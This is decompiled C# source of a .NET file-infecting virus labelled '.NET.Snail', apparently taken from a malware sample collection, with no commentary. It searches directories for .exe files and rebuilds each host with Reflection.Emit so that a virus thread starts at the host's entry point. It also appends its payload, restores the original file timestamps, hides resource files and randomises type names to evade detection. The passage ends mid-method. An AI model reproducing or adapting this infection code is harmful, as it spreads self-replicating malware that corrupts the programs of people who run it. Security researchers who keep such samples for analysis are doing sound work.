// Decompiled with JetBrains decompiler
// Type: kckelhvxlr.xrieopydqqcD
// Assembly: sna, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 85B9BA0A-84D0-4A00-94C1-CE02B81D71C1
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Gastropod-1b8f5086ac6be43f51a9c9e90d8400df1c0e436d1a6bae9f559ecbaa7fa3619e.exe

using Reflector.Disassembler;
using System;
using System.Collections;
using System.Globalization;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.CompilerServices;
using System.Security.Policy;
using System.Threading;

namespace kckelhvxlr
{
  internal class xrieopydqqcD
  {
    private static string vievdjbybiafhG = "[ .NET.Snail - sample CLR virus (c) whale 2004 ]";
    private static xrieopydqqcD.ckefmcnikpjcme nPsiueq = new xrieopydqqcD.ckefmcnikpjcme(6, 15, Environment.TickCount);
    private static Random fhekWzTk = new Random(Environment.TickCount);
    private static byte[] qquiph;
    private static MethodBase Ojiwadtto;
    public static bool jwqkZocrojjQhc;

    public xrieopydqqcD(string inFileName, string outFileName)
    {
      try
      {
        xrieopydqqcD.jwqkZocrojjQhc = true;
        xrieopydqqcD.bktugnjzydr(inFileName, outFileName);
        if (xrieopydqqcD.jwqkZocrojjQhc)
          return;
        xrieopydqqcD.bktugnjzydr(inFileName, outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
      }
      catch (Exception ex)
      {
      }
    }

    private static bool pbybjr(Type t) => (object) t.Assembly == (object) Assembly.GetExecutingAssembly() && -1 == t.FullName.IndexOf("AssemblyProvider");

    public static void Go()
    {
      xrieopydqqcD.qquiph = xrieopydqqcD.plofcXrGdqk();
      string currentDirectory;
      do
      {
        xrieopydqqcD.wmAbffzLtPmijW();
        currentDirectory = Directory.GetCurrentDirectory();
        Directory.SetCurrentDirectory("..");
      }
      while (currentDirectory != Directory.GetCurrentDirectory());
    }

    public static void wmAbffzLtPmijW()
    {
      string[] files = Directory.GetFiles(".", "*.exe");
      if (files.Length == 0)
        return;
      bool flag = (File.Exists("ILReader.dll") ? 1 : 0) != 0;
      if ((flag ? 1 : 0) == 0 && xrieopydqqcD.qquiph != null)
      {
        FileStream output = new FileStream("ILReader.dll", FileMode.CreateNew, FileAccess.ReadWrite);
        if (output != null)
          new BinaryWriter((Stream) output).Write(xrieopydqqcD.qquiph);
        output.Close();
      }
      string[] strArray = files;
      int index = 0;
      while (true)
      {
        if (index < strArray.Length)
        {
          string fileName = Path.GetFileName(strArray[index]);
          string withoutExtension = Path.GetFileNameWithoutExtension(fileName);
          string str = "_" + fileName;
          if (fileName[0] != '_')
          {
            if ((withoutExtension == Assembly.GetExecutingAssembly().GetName().Name ? 1 : 0) == 0 && !File.Exists(str))
            {
              DateTime creationTime = File.GetCreationTime(fileName);
              DateTime lastAccessTime1 = File.GetLastAccessTime(fileName);
              int num = flag ? 1 : 0;
              DateTime lastAccessTime2 = lastAccessTime1;
              DateTime lastWriteTime = File.GetLastWriteTime(fileName);
              File.Move(fileName, str);
              try
              {
                object[] args = new object[2]
                {
                  (object) str,
                  (object) fileName
                };
                AppDomain domain = AppDomain.CreateDomain("domain");
                Type type = typeof (xrieopydqqcD);
                string name = Assembly.GetExecutingAssembly().GetName().Name;
                domain.CreateInstance(name, type.FullName, false, BindingFlags.Default, (Binder) null, args, (CultureInfo) null, (object[]) null, (Evidence) null);
                AppDomain.Unload(domain);
                if (File.Exists(fileName))
                {
                  File.Delete(str);
                  xrieopydqqcD.efZexkvcvfwmm(fileName, xrieopydqqcD.qquiph);
                  File.SetCreationTime(fileName, creationTime);
                  File.SetLastAccessTime(fileName, lastAccessTime2);
                  File.SetLastWriteTime(fileName, lastWriteTime);
                  string path = withoutExtension + ".resources";
                  if (File.Exists(path))
                  {
                    File.SetCreationTime(path, creationTime);
                    File.SetLastAccessTime(path, lastAccessTime2);
                    File.SetLastWriteTime(path, lastWriteTime);
                    File.SetAttributes(path, FileAttributes.Hidden);
                  }
                }
                else
                  File.Move(str, fileName);
              }
              catch (ThreadAbortException ex)
              {
                File.Move(str, fileName);
                return;
              }
              catch (Exception ex)
              {
              }
            }
          }
          ++index;
        }
        else
          break;
      }
      if (flag)
        return;
      File.Delete("ILReader.dll");
    }

    private static PEFileKinds eRmoDaomful(string filename)
    {
      FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read);
      if (fileStream == null)
        return (PEFileKinds) 0;
      byte[] buffer = new byte[4];
      fileStream.Seek(60L, SeekOrigin.Begin);
      fileStream.Read(buffer, 0, 4);
      uint num = (uint) buffer[0] | (uint) buffer[1] >> 8 | (uint) buffer[2] >> 16 | (uint) buffer[3] >> 24;
      fileStream.Seek((long) (num + 92U), SeekOrigin.Begin);
      fileStream.Read(buffer, 0, 1);
      fileStream.Close();
      return buffer[0] == (byte) 3 ? PEFileKinds.ConsoleApplication : PEFileKinds.WindowApplication;
    }

    public static void bktugnjzydr(string inFileName, string outFileName)
    {
      PEFileKinds filetype = xrieopydqqcD.eRmoDaomful(inFileName);
      xrieopydqqcD.nnqpftdznilo objects = new xrieopydqqcD.nnqpftdznilo();
      AssemblyBuilder ab = Thread.GetDomain().DefineDynamicAssembly(new AssemblyName()
      {
        Name = Path.GetFileNameWithoutExtension(outFileName)
      }, AssemblyBuilderAccess.RunAndSave);
      Assembly asm = Assembly.LoadFrom(inFileName);
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      Module[] modules = asm.GetModules();
      int num;
      for (int index1 = 0; index1 < modules.Length; index1 = num)
      {
        Module module1 = modules[index1];
        ModuleBuilder moduleBuilder = ab.DefineDynamicModule(module1.Name.Substring(1), outFileName);
        ModuleReader reader1 = new ModuleReader(module1, (IAssemblyProvider) new xrieopydqqcD.AssemblyProvider());
        moduleBuilder.CreateGlobalFunctions();
        Type[] types1 = module1.GetTypes();
        foreach (Type type1 in types1)
        {
          if (type1.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length == typeof (xrieopydqqcD).GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length && type1.GetMethods().Length == typeof (xrieopydqqcD).GetMethods().Length)
            return;
          foreach (MethodBase method in type1.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
          {
            if ((object) asm.EntryPoint == (object) method)
            {
              foreach (Module module2 in executingAssembly.GetModules())
              {
                ModuleReader reader2 = new ModuleReader(module2, (IAssemblyProvider) new xrieopydqqcD.AssemblyProvider());
                Type[] types2 = module2.GetTypes();
                foreach (Type type2 in types2)
                {
                  if ((object) type2 == (object) typeof (xrieopydqqcD))
                    xrieopydqqcD.yvebdpyueqo(type2, (Type) null, moduleBuilder, reader2, objects);
                  if (type2.FullName.Length > 22)
                  {
                    if (type2.FullName.Substring(0, 22) == "Reflector.Disassembler")
                      xrieopydqqcD.yvebdpyueqo(type2, (Type) null, moduleBuilder, reader2, objects);
                  }
                }
                Type[] typeArray1 = types2;
                int index2 = 0;
                while (true)
                {
                  if (index2 < typeArray1.Length)
                  {
                    Type intype = typeArray1[index2];
                    objects.sshton(intype, moduleBuilder);
                    ++index2;
                  }
                  else
                    break;
                }
                Type[] typeArray2 = types2;
                int index3 = 0;
                while (true)
                {
                  if (index3 < typeArray2.Length)
                  {
                    Type type3 = typeArray2[index3];
                    if ((object) type3 == (object) typeof (xrieopydqqcD))
                      xrieopydqqcD.syfVsThvbcwkBq(type3, (Type) null, reader2, asm, ref ab, false, filetype, objects);
                    if (type3.FullName.Length > 22)
                    {
                      if (type3.FullName.Substring(0, 22) == "Reflector.Disassembler")
                        xrieopydqqcD.syfVsThvbcwkBq(type3, (Type) null, reader2, asm, ref ab, false, filetype, objects);
                    }
                    ++index3;
                  }
                  else
                    break;
                }
              }
            }
          }
        }
        Type[] typeArray3 = types1;
        int index4 = 0;
        while (true)
        {
          if (index4 < typeArray3.Length)
          {
            xrieopydqqcD.yvebdpyueqo(typeArray3[index4], (Type) null, moduleBuilder, reader1, objects);
            ++index4;
          }
          else
            break;
        }
        Type[] typeArray4 = types1;
        int index5 = 0;
        while (true)
        {
          if (index5 < typeArray4.Length)
          {
            Type intype = typeArray4[index5];
            objects.sshton(intype, moduleBuilder);
            ++index5;
          }
          else
            break;
        }
        foreach (Type type in types1)
          xrieopydqqcD.syfVsThvbcwkBq(type, (Type) null, reader1, asm, ref ab, true, filetype, objects);
        num = index1 + 1;
      }
      try
      {
        xrieopydqqcD.DaSuxuoumcrbq(asm, ab, outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
        return;
      }
      catch (Exception ex)
      {
      }
      try
      {
        ab.Save(outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
        return;
      }
      catch (Exception ex)
      {
      }
      try
      {
        xrieopydqqcD.ajasisBxvjsdr(inFileName, outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
      }
      catch (Exception ex)
      {
      }
    }

    private static void yvebdpyueqo(
      Type type,
      Type wrapperType,
      ModuleBuilder outmodb,
      ModuleReader reader,
      xrieopydqqcD.nnqpftdznilo objects)
    {
      string fullName = type.FullName;
      if ((object) wrapperType == null && -1 != fullName.IndexOf("+"))
        return;
      Type baseType = type.BaseType;
      Type parent1 = (object) baseType == null ? (Type) null : (Type) objects.xEKtafwb(baseType);
      if ((object) parent1 == null)
        parent1 = baseType;
      Type[] interfaces1 = type.GetInterfaces();
      TypeBuilder outtype;
      if ((object) wrapperType != null)
      {
        TypeBuilder typeBuilder = objects.xEKtafwb(wrapperType);
        string name;
        if (!xrieopydqqcD.pbybjr(type))
          name = type.Name;
        else
          name = xrieopydqqcD.nPsiueq.meqqpaup();
        int attributes = (int) type.Attributes;
        Type parent2 = parent1;
        Type[] interfaces2 = interfaces1;
        outtype = typeBuilder.DefineNestedType(name, (TypeAttributes) attributes, parent2, interfaces2);
      }
      else
      {
        string name = typeof (xrieopydqqcD).GetHashCode() != type.GetHashCode() ? (xrieopydqqcD.pbybjr(type) ? xrieopydqqcD.nPsiueq.meqqpaup() : fullName) : (xrieopydqqcD.pbybjr(type) ? xrieopydqqcD.nPsiueq.meqqpaup() + "." + xrieopydqqcD.nPsiueq.meqqpaup() : fullName);
        outtype = outmodb.DefineType(name, type.Attributes, parent1, interfaces1);
      }
      objects.iylnqouwmt(type, outtype);
      foreach (Type nestedType in type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
        xrieopydqqcD.yvebdpyueqo(nestedType, type, outmodb, reader, objects);
    }

    private static void cfwiwf(MethodBase methodBase, ref MethodBuilder methodBuilder)
    {
      ParameterInfo[] parameters = methodBase.GetParameters();
      int index = 0;
      while (true)
      {
        if (index < parameters.Length)
        {
          methodBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name);
          ++index;
        }
        else
          break;
      }
    }

    private static void yqekubezBu(MethodBase methodBase, ref ConstructorBuilder ctorBuilder)
    {
      ParameterInfo[] parameters = methodBase.GetParameters();
      int index = 0;
      while (true)
      {
        if (index < parameters.Length)
        {
          ctorBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name);
          ++index;
        }
        else
          break;
      }
    }

    private static void syfVsThvbcwkBq(
      Type type,
      Type wrapperType,
      ModuleReader reader,
      Assembly asm,
      ref AssemblyBuilder ab,
      bool setEP,
      PEFileKinds filetype,
      xrieopydqqcD.nnqpftdznilo objects)
    {
      string fullName = type.FullName;
      if ((object) wrapperType == null && -1 != fullName.IndexOf("+"))
        return;
      ConstructorInfo[] constructors = type.GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
      foreach (ConstructorInfo ctorInfo in constructors)
      {
        ConstructorBuilder constructorBuilder = objects.etbaebi(type, ctorInfo);
        if (constructorBuilder == null)
          return;
        MethodBody methodBody = reader.GetMethodBody((MethodBase) ctorInfo);
        if (methodBody != null)
        {
          ILGenerator ilGenerator = constructorBuilder.GetILGenerator();
          xrieopydqqcD.yqhkGlhvXlcDz(type, (MethodBase) ctorInfo, methodBody, ref ilGenerator, false, (xrieopydqqcD.jwqkZocrojjQhc ? 1 : 0) != 0, objects);
        }
      }
      MethodBase[] methods = (MethodBase[]) type.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
      int index = 0;
      while (true)
      {
        if (index < methods.Length)
        {
          MethodBase methodBase = methods[index];
          if (!(methodBase.Name == "Main") || (object) methodBase.DeclaringType != (object) typeof (xrieopydqqcD))
          {
            MethodBuilder entryMethod = objects.vzIyvrjxjhnz(type, methodBase);
            MethodBody methodBody = reader.GetMethodBody(methodBase);
            if (methodBody != null)
            {
              ILGenerator ilGenerator = entryMethod.GetILGenerator();
              if ((object) asm.EntryPoint == (object) methodBase && setEP)
              {
                xrieopydqqcD.yqhkGlhvXlcDz(type, methodBase, methodBody, ref ilGenerator, true, (xrieopydqqcD.jwqkZocrojjQhc ? 1 : 0) != 0, objects);
                ab.SetEntryPoint((MethodInfo) entryMethod, filetype);
              }
              else
                xrieopydqqcD.yqhkGlhvXlcDz(type, methodBase, methodBody, ref ilGenerator, false, (xrieopydqqcD.jwqkZocrojjQhc ? 1 : 0) != 0, objects);
            }
          }
          ++index;
        }
        else
          break;
      }
      TypeBuilder typeBuilder = objects.xEKtafwb(type);
      try
      {
        typeBuilder.CreateType();
      }
      catch (NotSupportedException ex)
      {
        if (xrieopydqqcD.jwqkZocrojjQhc)
        {
          xrieopydqqcD.jwqkZocrojjQhc = false;
          return;
        }
      }
      foreach (Type nestedType in type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
        xrieopydqqcD.syfVsThvbcwkBq(nestedType, type, reader, asm, ref ab, (setEP ? 1 : 0) != 0, filetype, objects);
    }

    private static bool vkvAtgyut(Assembly asm) => (asm.GetManifestResourceNames().Length == 0 ? 1 : 0) == 0;

    private static void DaSuxuoumcrbq(Assembly asm, AssemblyBuilder ab, string name)
    {
      // ISSUE: unable to decompile the method.
    }

    private static void yqhkGlhvXlcDz(
      Type type,
      MethodBase methodBase,
      MethodBody methodBody,
      ref ILGenerator il,
      bool entrypoint,
      bool shorts,
      xrieopydqqcD.nnqpftdznilo objects)
    {
      Type[] locals = methodBody.GetLocals();
      LocalBuilder[] localBuilders = new LocalBuilder[(int) checked ((uint) locals.Length)];
      if (locals != null)
      {
        if (locals.Length > 0)
        {
          int index = 0;
          while (true)
          {
            if (index < locals.Length)
            {
              Type localType = (Type) objects.xEKtafwb(locals[index]);
              if ((object) localType != null)
                localBuilders[index] = il.DeclareLocal(localType);
              else
                localBuilders[index] = il.DeclareLocal(locals[index]);
              ++index;
            }
            else
              break;
          }
        }
      }
      xrieopydqqcD.uAfzmzmprnjlw uAfzmzmprnjlw = new xrieopydqqcD.uAfzmzmprnjlw(il, localBuilders);
      LocalBuilder local1 = (LocalBuilder) null;
      if (entrypoint)
      {
        MethodBuilder meth = objects.vzIyvrjxjhnz(typeof (xrieopydqqcD), xrieopydqqcD.Ojiwadtto);
        local1 = il.DeclareLocal(typeof (Thread));
        uAfzmzmprnjlw.qwghiubYc();
        il.Emit(OpCodes.Ldnull);
        uAfzmzmprnjlw.qwghiubYc();
        il.Emit(OpCodes.Ldftn, (MethodInfo) meth);
        uAfzmzmprnjlw.qwghiubYc();
        ConstructorInfo constructor1 = typeof (ThreadStart).GetConstructors()[0];
        il.Emit(OpCodes.Newobj, constructor1);
        ConstructorInfo constructor2 = typeof (Thread).GetConstructor(new Type[1]
        {
          typeof (ThreadStart)
        });
        il.Emit(OpCodes.Newobj, constructor2);
        uAfzmzmprnjlw.qwghiubYc();
        ILGenerator ilGenerator = il;
        OpCode stloc = OpCodes.Stloc;
        LocalBuilder local2 = local1;
        bool flag;
        int num = flag ? 1 : 0;
        ilGenerator.Emit(stloc, local2);
        uAfzmzmprnjlw.qwghiubYc();
        il.Emit(OpCodes.Ldloc, local1);
        MethodInfo method = typeof (Thread).GetMethod("Start");
        il.Emit(OpCodes.Callvirt, method);
        uAfzmzmprnjlw.qwghiubYc();
      }
      ExceptionHandler[] exceptions = methodBody.GetExceptions();
      if (exceptions != null)
      {
        int index = 0;
        while (true)
        {
          if (index < exceptions.Length)
          {
            ExceptionHandler exceptionHandler = exceptions[index];
            ++index;
          }
          else
            break;
        }
      }
      int length = 0;
      Instruction[] instructions1 = methodBody.GetInstructions();
      OpCode opCode;
      int num1;
      for (int index = 0; index < instructions1.Length; index = num1 + 1)
      {
        Instruction instruction = instructions1[index];
        opCode = instruction.Code;
        if ((int) opCode.OperandType != 15)
        {
          opCode = instruction.Code;
          if (opCode.OperandType != OperandType.InlineBrTarget)
            goto label_18;
        }
        ++length;
label_18:
        opCode = instruction.Code;
        if ((int) opCode.OperandType == 11)
          length += ((int[]) instruction.Operand).Length;
        num1 = index;
      }
      Label[] labelArray = new Label[(int) checked ((uint) length)];
      int[] numArray1 = new int[(int) checked ((uint) length)];
      int index1 = 0;
      Instruction[] instructions2 = methodBody.GetInstructions();
      int index2 = 0;
      int index3;
      for (; index2 < instructions2.Length; ++index2)
      {
        Instruction instruction = instructions2[index2];
        opCode = instruction.Code;
        if (opCode.OperandType == OperandType.ShortInlineBrTarget)
        {
          object operand = instruction.Operand;
          numArray1[index1] = (int) operand;
          labelArray[index1] = il.DefineLabel();
          ++index1;
        }
        opCode = instruction.Code;
        if (opCode.OperandType == OperandType.InlineBrTarget)
        {
          object operand = instruction.Operand;
          numArray1[index1] = (int) operand;
          labelArray[index1] = il.DefineLabel();
          ++index1;
        }
        opCode = instruction.Code;
        if (opCode.OperandType == OperandType.InlineSwitch)
        {
          int[] operand = (int[]) instruction.Operand;
          int num2;
          for (index3 = 0; index3 < operand.Length; index3 = num2)
          {
            int num3 = operand[index3];
            numArray1[index1] = num3;
            labelArray[index1] = il.DefineLabel();
            ++index1;
            num2 = index3 + 1;
          }
        }
      }
      bool flag1 = false;
      int index4 = 0;
      while (true)
      {
        if (index4 < methodBody.GetInstructions().Length)
        {
          if (flag1)
          {
            flag1 = false;
          }
          else
          {
            Instruction instruction = methodBody.GetInstructions()[index4];
            OpCode code = instruction.Code;
            int hashCode1 = code.GetHashCode();
            opCode = OpCodes.Ldloc;
            int hashCode2 = opCode.GetHashCode();
            bool flag2;
            if (hashCode1 == hashCode2)
            {
              int num4 = index4;
              int num5 = flag2 ? 1 : 0;
              int num6 = methodBody.GetInstructions().Length - 1;
              if (num4 < num6)
              {
                opCode = methodBody.GetInstructions()[index4].Code;
                int hashCode3 = opCode.GetHashCode();
                opCode = OpCodes.Pop;
                int hashCode4 = opCode.GetHashCode();
                if (hashCode3 == hashCode4)
                {
                  flag1 = true;
                  goto label_170;
                }
              }
            }
            int hashCode5 = code.GetHashCode();
            opCode = OpCodes.Nop;
            int hashCode6 = opCode.GetHashCode();
            if (hashCode5 != hashCode6)
            {
              uAfzmzmprnjlw.qwghiubYc();
              foreach (ExceptionHandler exceptionHandler in exceptions)
              {
                if (exceptionHandler.TryOffset == instruction.Offset)
                {
                  il.BeginExceptionBlock();
                  break;
                }
                if (exceptionHandler.Type == 3)
                {
                  if (exceptionHandler.FilterOffset == instruction.Offset)
                    il.BeginExceptFilterBlock();
                }
                else if (exceptionHandler.HandlerOffset == instruction.Offset)
                {
                  switch ((int) exceptionHandler.Type)
                  {
                    case 0:
                      il.BeginFaultBlock();
                      break;
                    case 1:
                      il.BeginCatchBlock(exceptionHandler.CatchType);
                      break;
                    case 2:
                      il.BeginFinallyBlock();
                      break;
                    case 3:
                      il.BeginExceptFilterBlock();
                      break;
                  }
                }
                if (exceptionHandler.HandlerOffset + exceptionHandler.HandlerLength == instruction.Offset)
                {
                  flag2 = true;
                  ExceptionHandler[] exceptionHandlerArray = exceptions;
                  for (index3 = 0; index3 < exceptionHandlerArray.Length; ++index3)
                  {
                    if (exceptionHandlerArray[index3].HandlerOffset == exceptionHandler.HandlerOffset + exceptionHandler.HandlerLength)
                      flag2 = false;
                  }
                  if (flag2)
                    il.EndExceptionBlock();
                }
              }
              for (int index5 = 0; index5 < numArray1.Length; ++index5)
              {
                if (numArray1[index5] == instruction.Offset)
                  il.MarkLabel(labelArray[index5]);
              }
              object operand = instruction.Operand;
              byte[] operandData = instruction.GetOperandData();
              if ((entrypoint ? 1 : 0) != 0)
              {
                string name1 = code.Name;
                opCode = OpCodes.Ret;
                string name2 = opCode.Name;
                if (name1 == name2)
                {
                  uAfzmzmprnjlw.qwghiubYc();
                  il.Emit(OpCodes.Ldloc, local1);
                  MethodInfo method = typeof (Thread).GetMethod("Abort", new Type[0]);
                  il.Emit(OpCodes.Callvirt, method);
                }
              }
              if (operand != null)
              {
                switch (code.OperandType)
                {
                  case OperandType.InlineBrTarget:
                    int num7 = (int) operand;
                    for (int index6 = 0; index6 < labelArray.Length; ++index6)
                    {
                      if (numArray1[index6] == num7)
                      {
                        il.Emit(code, labelArray[index6]);
                        break;
                      }
                    }
                    break;
                  case OperandType.InlineField:
                  case OperandType.InlineMethod:
                  case OperandType.InlineSig:
                  case OperandType.InlineTok:
                  case OperandType.InlineType:
                    if ((object) (operand as Type) != null)
                    {
                      TypeBuilder cls = objects.xEKtafwb((Type) operand);
                      if (cls != null)
                      {
                        il.Emit(code, (Type) cls);
                        break;
                      }
                      if ((object) ((Type) operand).Assembly != (object) Assembly.GetExecutingAssembly())
                      {
                        il.Emit(code, (Type) operand);
                        break;
                      }
                      goto label_146;
                    }
                    else if ((object) (operand as MethodInfo) != null)
                    {
                      MethodInfo meth1 = (MethodInfo) operand;
                      MethodBuilder meth2 = objects.vzIyvrjxjhnz(meth1.DeclaringType, (MethodBase) meth1);
                      if (meth2 != null)
                      {
                        il.Emit(code, (MethodInfo) meth2);
                        break;
                      }
                      if ((object) meth1.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly())
                      {
                        il.Emit(code, meth1);
                        break;
                      }
                      goto label_152;
                    }
                    else if ((object) (operand as MemberInfo) != null)
                    {
                      if ((object) (operand as FieldInfo) != null)
                      {
                        FieldBuilder field = objects.etqEvak(((MemberInfo) operand).DeclaringType, (FieldInfo) operand);
                        if (field != null)
                          il.Emit(code, (FieldInfo) field);
                        else if ((object) ((MemberInfo) operand).DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly())
                          il.Emit(code, (FieldInfo) operand);
                        else
                          goto label_159;
                      }
                      if ((object) (operand as ConstructorInfo) != null)
                      {
                        ConstructorInfo constructorInfo = (ConstructorInfo) operand;
                        ConstructorBuilder con = objects.etbaebi(constructorInfo.DeclaringType, constructorInfo);
                        if (con != null)
                        {
                          il.Emit(code, (ConstructorInfo) con);
                          break;
                        }
                        if ((object) constructorInfo.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly())
                        {
                          il.Emit(code, constructorInfo);
                          break;
                        }
                        goto label_165;
                      }
                      else
                        break;
                    }
                    else
                    {
                      if ((object) (operand as FieldInfo) != null)
                        break;
                      goto label_168;
                    }
                  case OperandType.InlineI:
                    il.Emit(code, (int) operand);
                    break;
                  case OperandType.InlineI8:
                    il.Emit(code, (long) operand);
                    break;
                  case OperandType.InlineNone:
                    il.Emit(code);
                    break;
                  case OperandType.InlineR:
                    il.Emit(code, (double) operand);
                    break;
                  case OperandType.InlineString:
                    il.Emit(code, operand.ToString());
                    break;
                  case OperandType.InlineSwitch:
                    int[] numArray2 = (int[]) operand;
                    Label[] labels = new Label[(int) checked ((uint) numArray2.Length)];
                    int index7 = 0;
                    while (true)
                    {
                      if (index7 < numArray2.Length)
                      {
                        int index8 = 0;
                        for (; index8 < labelArray.Length; ++index8)
                        {
                          if (numArray1[index8] == numArray2[index7])
                            labels[index7] = labelArray[index8];
                        }
                        ++index7;
                      }
                      else
                        break;
                    }
                    il.Emit(code, labels);
                    break;
                  case OperandType.InlineVar:
                  case OperandType.ShortInlineVar:
                    if (operand is int)
                    {
                      if (localBuilders != null)
                      {
                        il.Emit(code, localBuilders[(int) operand]);
                        break;
                      }
                      goto label_114;
                    }
                    else
                    {
                      if (operand is ParameterInfo)
                      {
                        ParameterInfo parameterInfo = (ParameterInfo) operand;
                        methodBase.GetParameters();
                        int position = parameterInfo.Position;
                        int hashCode7 = code.GetHashCode();
                        opCode = OpCodes.Ldarg_S;
                        int hashCode8 = opCode.GetHashCode();
                        if (hashCode7 == hashCode8)
                        {
                          il.Emit(code, (int) operandData[0]);
                          break;
                        }
                        il.Emit(code, position);
                        break;
                      }
                      break;
                    }
                  case OperandType.ShortInlineBrTarget:
                    OpCode opcode;
                    if (!shorts)
                    {
                      opcode = code;
                      string name3 = code.Name;
                      opCode = OpCodes.Beq_S;
                      string name4 = opCode.Name;
                      if (name3 == name4)
                        opcode = OpCodes.Beq;
                      string name5 = code.Name;
                      opCode = OpCodes.Bge_S;
                      string name6 = opCode.Name;
                      if (name5 == name6)
                        opcode = OpCodes.Bge;
                      string name7 = code.Name;
                      opCode = OpCodes.Bge_Un_S;
                      string name8 = opCode.Name;
                      if (name7 == name8)
                        opcode = OpCodes.Bge_Un;
                      string name9 = code.Name;
                      opCode = OpCodes.Bgt_S;
                      string name10 = opCode.Name;
                      if (name9 == name10)
                        opcode = OpCodes.Bgt_S;
                      string name11 = code.Name;
                      opCode = OpCodes.Bgt_Un_S;
                      string name12 = opCode.Name;
                      if (name11 == name12)
                        opcode = OpCodes.Bgt_Un;
                      string name13 = code.Name;
                      opCode = OpCodes.Ble_S;
                      string name14 = opCode.Name;
                      if (name13 == name14)
                        opcode = OpCodes.Ble;
                      string name15 = code.Name;
                      opCode = OpCodes.Ble_Un_S;
                      string name16 = opCode.Name;
                      if ((name15 == name16 ? 1 : 0) != 0)
                        opcode = OpCodes.Ble_Un;
                      string name17 = code.Name;
                      opCode = OpCodes.Blt_S;
                      string name18 = opCode.Name;
                      if ((name17 == name18 ? 1 : 0) != 0)
                        opcode = OpCodes.Blt;
                      string name19 = code.Name;
                      opCode = OpCodes.Blt_Un_S;
                      string name20 = opCode.Name;
                      if (name19 == name20)
                        opcode = OpCodes.Blt_Un;
                      string name21 = code.Name;
                      opCode = OpCodes.Bne_Un_S;
                      string name22 = opCode.Name;
                      if (name21 == name22)
                        opcode = OpCodes.Bne_Un;
                      string name23 = code.Name;
                      opCode = OpCodes.Br_S;
                      string name24 = opCode.Name;
                      if (name23 == name24)
                        opcode = OpCodes.Br;
                      string name25 = code.Name;
                      opCode = OpCodes.Brfalse_S;
                      string name26 = opCode.Name;
                      if (name25 == name26)
                        opcode = OpCodes.Brfalse;
                      string name27 = code.Name;
                      opCode = OpCodes.Brtrue_S;
                      string name28 = opCode.Name;
                      if (name27 == name28)
                        opcode = OpCodes.Brtrue;
                      string name29 = code.Name;
                      opCode = OpCodes.Leave_S;
                      string name30 = opCode.Name;
                      if (name29 == name30)
                        opcode = OpCodes.Leave;
                    }
                    else
                      opcode = code;
                    int num8 = (int) operand;
                    for (int index9 = 0; index9 < labelArray.Length; ++index9)
                    {
                      if (numArray1[index9] == num8)
                      {
                        il.Emit(opcode, labelArray[index9]);
                        break;
                      }
                    }
                    break;
                  case OperandType.ShortInlineI:
                    if (operand is short num9)
                      il.Emit(code, num9);
                    if (operand is sbyte num10)
                    {
                      il.Emit(code, num10);
                      break;
                    }
                    break;
                  case OperandType.ShortInlineR:
                    il.Emit(code, (float) operand);
                    break;
                }
              }
              else
                il.Emit(code);
            }
          }
label_170:
          ++index4;
        }
        else
          goto label_127;
      }
label_114:
      return;
label_146:
      throw new Exception();
label_152:
      throw new Exception();
label_159:
      throw new Exception();
label_165:
      throw new Exception();
label_168:
      throw new Exception();
label_127:;
    }

    private static byte[] plofcXrGdqk()
    {
      FileStream file = Assembly.GetExecutingAssembly().GetFiles()[0];
      BinaryReader source = new BinaryReader((Stream) file);
      xrieopydqqcD.uodsxxuliiz msdosheader = new xrieopydqqcD.uodsxxuliiz();
      msdosheader.zEtgol(source);
      xrieopydqqcD.tbetzkWdxclu tbetzkWdxclu = new xrieopydqqcD.tbetzkWdxclu();
      tbetzkWdxclu.tlnpgvuqkwqot(source, msdosheader);
      xrieopydqqcD.cMOoOgkad cMooOgkad = (xrieopydqqcD.cMOoOgkad) tbetzkWdxclu.fraswujhugwtyy[tbetzkWdxclu.fraswujhugwtyy.Count - 1];
      uint num = cMooOgkad.zmeiajmfzkjpje + cMooOgkad.yzpzejsLoIjz;
      source.BaseStream.Position = (long) num;
      byte[] numArray1;
      try
      {
        uint count = source.ReadUInt32();
        byte[] numArray2 = source.ReadBytes((int) count);
        file.Close();
        numArray1 = numArray2;
      }
      catch
      {
        file.Close();
        FileStream input = new FileStream("ILReader.dll", FileMode.Open, FileAccess.Read);
        BinaryReader binaryReader = new BinaryReader((Stream) input);
        FileInfo fileInfo = new FileInfo("ILReader.dll");
        if (fileInfo != null)
        {
          byte[] numArray3 = binaryReader.ReadBytes((int) fileInfo.Length);
          input.Close();
          numArray1 = numArray3;
        }
        else
        {
          input.Close();
          numArray1 = (byte[]) null;
        }
      }
      return numArray1;
    }

    private static void efZexkvcvfwmm(string fileName, byte[] ilReader)
    {
      FileStream output = new FileStream(fileName, FileMode.Open, FileAccess.ReadWrite);
      BinaryWriter binaryWriter = new BinaryWriter((Stream) output);
